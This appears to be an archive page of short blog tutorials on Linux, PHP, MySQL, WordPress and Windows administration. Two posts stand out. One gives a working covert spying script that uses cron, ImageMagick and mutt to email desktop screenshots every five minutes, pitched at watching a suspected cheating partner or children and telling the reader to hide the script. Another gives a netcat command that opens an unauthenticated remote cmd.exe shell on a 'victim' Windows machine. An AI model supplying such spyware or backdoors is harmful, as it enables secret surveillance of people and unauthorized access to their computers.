Archive for Tutorials

  • 19
  • Jul

Not a Linux user? Stay tuned, I will be posting a Windows version soon.

TF2 SpyHave suspicions about what goes on on your own computer when you are away? Think someone might be cheating? Do you often see that the history has been deleted out of the browser? Maybe you just want to keep tabs on what your kids are looking at when you aren’t right there watching.

By using some basic Linux commands and utilities (import, cron, postfix, and mutt) we can spy on any PC we have root access to.

The process is as follows:

  1. Cron takes a screen shot of the desktop and saves it to a file using the import command.
  2. Cron emails the screenshot to a specified address on a specific interval by using mutt.

The process is quite simple. Just open your terminal follow these steps (tested on Ubuntu, should work on other distros as well):

  1. Install postfix, mutt, and imagemagick (for import):
     sudo apt-get install postfix mutt imagemagick
  2. Create a message text file with something in it. Doesn’t matter what, just so it doesn’t get caught by the spam filters:
      nano /path/to/message.txt
  3. Create a file named ’spy.sh’ (save it somewhere secretive) and add the following lines (fifth and sixth lines are one line). Change emailaccount@domain.com to your email address. Feel free to remove the rm command if you would like to keep the images stored locally (I would recommend moving them out of the /tmp directory tho):

      #!/bin/sh
    NOW=$(date +%Y%m%d%k%M)
    cd /tmp
    import -window root screenshot-$NOW.jpg
    mutt -s “Screenshot for $NOW” -a ./screenshot-$NOW.jpg emailaccount@domain.com < /path/to/message.txt
    rm /tmp/screenshot-$NOW.jpg
  4. Now make the spy.sh executable:
      chmod u+x /path/to/spy.sh
  5. Run the following (my cron didn’t run without it):
      sudo touch /etc/cron.deny
  6. Edit your crontab ‘ sudo crontab -e‘ and enter the following:
     */5 * * * * /path/to/spy.sh

WARNING: This will email you a screen shot every 5 minutes. While this is great for spying beware that your email could fill up pretty quick! Take out some minutes in your crontab to decrease the interval ex, */10 for every 10 minutes or */20 for every 20 minutes.

TIP: If you don’t want the screenshot emailer running while you are on the PC just comment out the line we added with a ‘#’ at the beginning. Don’t forget to change it back before you leave!

TIP: If you aren’t receiving your messages your email server might be rejecting the email because it is originating from a dynamic IP range. In this case, you will need to configure mutt to use your email server instead.

That’s it! You should start receiving screen shots of your desktop in action once the crontab has been hit the first cycle. If you have any problems or questions feel free to leave a comment.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]
  • 15
  • Jul

Wordpress LogoHackosis.com just added Gravatars to the comments section! In light of the situation I decided to tell you how to add Gravatars to your custom Wordpress theme’s comment section if not already done. Most old themes won’t have this.

Gravatars can be used in Wordpress 2.5+ and must be enabled in the Wordpress settings under discussion.

From the Gravatar site:

What is a gravatar?

A gravatar, or globally recognized avatar, is quite simply an avatar image that follows you from weblog to weblog appearing beside your name when you comment on gravatar enabled sites. Avatars help identify your posts on web forums, so why not on weblogs?

To add Gravatars I simply added the following to my Wordpress theme’s comments.php file right before “<cite><?php comment_author_link() ?></cite> Says:”. Of course you do need to include the PHP opening and closing tags. Change the size variable to one suitable:

  1. echo get_avatar( $comment, $size = ‘50′ );

You can also change the default avatar by specifying it’s location like below :

  1. echo get_avatar( $comment, $size = ‘50′, $default="/path/to/url.jpg" );

I did also add a bit of styling to float it to the right and add a border, but I’ll let you be creative and do it yourself.

Let me know how it goes and if you have any questions I’ll do my best!

Feel free to test the Gravatars by commenting below (this is your one chance for free-for-all commenting). Happy Gravataring.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]
  • 15
  • Jul

PHP and MySQL are one of the most used technologies on the web today. By using about 7 different script files we can add, update, and delete rows from a MySQL table.

Example of completed project:

Simple MySQL Table Editor

Download the Simple PHP MySQL Table Editor.

Lets get started. I will explain each section of the script files so you have an understanding of how it works. You can download the project in a zip file above. The download also includes the example MySQL schema structure so you can test the script right away.

All examples in this post assume that you have already typed the php opening and closing tags. I cannot inlcude them on my page due to Wordpress plugins that I am running.

ALSO, because my PHP color coder sometimes runs off the page, you may have to click “show plain code” to view all typed PHP code.

HEADER.PHP:

Header.php stores the HTML header that include the title, etc. I am not going into detail since this is not a HTML tutorial.

I always start my PHP files with comments to indicate the purpose of the script and give contact details in case anyone has questions. Comments in PHP are indicated with ‘//’ for single lines and ‘/*’, ‘*/’ for multiple line comments:
Read the rest of this entry …

  • 12
  • Jul

PHPThere might be many cases where different output would want to be displayed differently depending on where someone is accessing a web page from.

A HTTP referer “identifies, from the point of view of an internet webpage or resource, the address of the webpage, of the resource which links to it”.

Below is a simple way to change the output of your web page based on HTTP referrer:

  1. $referrer = $_SERVER[‘HTTP_REFERER’];
  2. if (preg_match("/hackosis.com/",$referrer)) {
  3.       echo "Your referrer is correct.";
  4. } else {
  5.       header(‘Location: http://www.hackosis.com/’);
  6. };

What the above code will do is redirect anyone that doesn’t have a referrer that has ‘hackosis.com’ somewhere in the URL to your homepage. You could also state a message such as “Hotlinking images is not allowed”. In this case it would be appropriate to display the image in the first part of the if statement.

I hope you find this helpful and if you need any other tips on PHP code snippets, please let us know in the comments.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]
  • 09
  • Jun

MySQL is an excellent open source database system. Replication is a great way to keep data redundant in case of a server crash. However, replication should not take the place of backups in case of data corruption or mis-entered data - as this data will also be replicated to the slave.

MySQL Replication

MySQL replication takes place in a master-slave configuration. Be aware that by using the configuration - only changes made on the master are replicated to the slave. Any changes on the slave will not be replicated to the master.

Following the steps below, you can have MySQL replication setup in no time at all.

Source: MySQL Dev Site
Read the rest of this entry …

  • 03
  • Mar

Nothing is worse than entering repetitive, monotonous commands into a router to accomplish a simple task. By using PHPTelnet we can create a script that will make use of a web form to provision (create pvc or a Private Virtual Circuit) DSL customers in a Cisco router. The script will also write to a log file for security and troubleshooting purposes. This script could be used for many other tasks as well as it is very easy to modify.

NOTE: Depending on your setup, you may need to make modifications to the script.
Add PVC Script
First, I will focus on the PHP script, and then the web form.

The first part of the script will call in the PHPTelnet.php file. And grab the variables from our web form with the POST method.

  1. require_once "PHPTelnet.php";
  2.  
  3. $telnet = new PHPTelnet();
  4.  
  5. $vpi = $_POST[‘VPI’];
  6. $vci = $_POST[‘VCI’];
  7. $spd = $_POST[‘SPD’];

This next section deals with logging the requests to a file named ‘log.txt’. Make sure you manually create the file first.

  1. //Log actions to file
  2. $logfile="log.txt";
  3. $fh = fopen($logfile, ‘a’) or die("<br />ERROR: can’t open file");
  4. $stringData = $_SERVER[‘REMOTE_ADDR’]." added ".$vpi."/".$vci." ".date("m-d-y.h:i")."\n";
  5. fwrite($fh, $stringData);
  6. fclose($fh);

Initiate the connection. Make sure to modify the IP address, username, and password.
Read the rest of this entry …

  • 26
  • Jan

Monitoring your website on a shared host is vital to the well being of your existence on the internet. There are several online services that will do this for you in exchange for a small price. While they may be a bit more accurate, I would like to share with you how to use RRDTool to monitor your website’s response time yourself.

RRDTool Ping Graph
image via rrdwiki (didn’t use mine because it hasn’t completed a full cycle yet.)

NOTE: I am using Ubuntu based Linux Mint. This process should be the same on other Debian based distributions. If you are not running a Debian based distribution, you may have to modify some paths to the rrdtool executable. Some of this procedure has been taken from the rrdwiki.

The first step is to install RRDTool:

  1. sudo apt-get install rrdtool

Read the rest of this entry …

  • 15
  • Jan

image by destineleeBack Door

Netcat is referred to as the TCP/IP swiss army knife. Netcat can be used for good things, as well as bad. By using Netcat we can create a back door to any Windows machine with ease.

  1. Download the Windows version of Netcat.
  2. Unzip nc.exe to the %SYSTEMROOT%\system32 directory.
  3. Execute nc -d -L -e cmd.exe -p 10001. Change 10001 to which ever port you wish.
  4. From any remote machine accessible to the victim server — you can now telnet to the server on port 10001 — telnet X.X.X.X 10001without any authentication.

NOTE: As soon as you disconnect netcat will stop running. You might look into running it as a service.

Have any more Netcat tips? Please share in the comments.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]
  • 14
  • Jan

Bash IconAlmost any Linux enthusiast would say that you can get things done twice as quick using the command line versus any GUI, especially if you know your way around. The Linux Bash shell is very flexible and allows for much tweaking.

By adding directories to the $PATH variable, we can save time and forget about changing into so many directories.

In the home directory there is a file named ~/.profile. Any commands that you enter into this file will be executed upon login. When you execute a command, for example ls, the bash shell automatically knows where to look because /bin resides in the $PATH variable.

It is possible to add directories to the $PATH variable so that your favorite directories will also be searched as well as the defaults. Lets assume I wanted to add /etc/init.d to the $PATH variable because I work with system services a lot.

By adding PATH=$PATH:/etc/init.d to the ~/.profile file the /etc/init.d folder would also be searched when I type a command. If adding this to all users (except root) is desirable, add the command to /etc/profile.

NOTE: Adding too many directories to the path variable could degrade performance when executing commands.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]
  • 03
  • Jan

I wrote earlier today about how to circumvent the blocking of Internet Explorer by using Microsoft HTML Help. Lets turn in the opposite direction and look at ways we can block Internet Explorer.
Internet Explorer
Not only does this work in Internet Explorer, it works with any program.

The following method has been tested on Windows 2000/XP/2003. If you have Vista, and are willing to test this method, please let me know if it works..

One way would be to use a Software Restriction Policy through Group Policy, either locally or through the domain level. However, this does not work on XP Home Edition.

All Group Policies are essentially registry entries. So, what I did was apply the Software Restriction Policy and copy out the registry entry.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{fc768d98-109c-4ac5-8e23-76e7576365bc}]
"LastModified"=hex(b):d2,2e,d8,5d,f9,3c,c8,01
"Description"=""
"SaferFlags"=dword:00000000
"ItemData"="C:\\Program Files\\Internet Explorer\\iexplore.exe"

NOTE: The third line above runs outside of the div. If you are having trouble copying and pasting you need to download the zip file.

Copy and paste the text above into a file named ie.reg, save it, and double click the file to apply the setting manually. Reboot, try to run Internet Explorer and you will notice a nice message:

Internet Explorer Blocked

This doesn’t prevent the Microsoft HTML Help hack, but a proxy setting for Internet Explorer will.

You might ask, “Why would I want to do this?” — because running Internet Explorer is dangerous to your system, that’s why. Also, like stated above, this method can be used to block any program, just modify the path to the executable.

[Slashdot] [Digg] [Reddit] [del.icio.us] [Facebook] [Technorati] [Google] [StumbleUpon]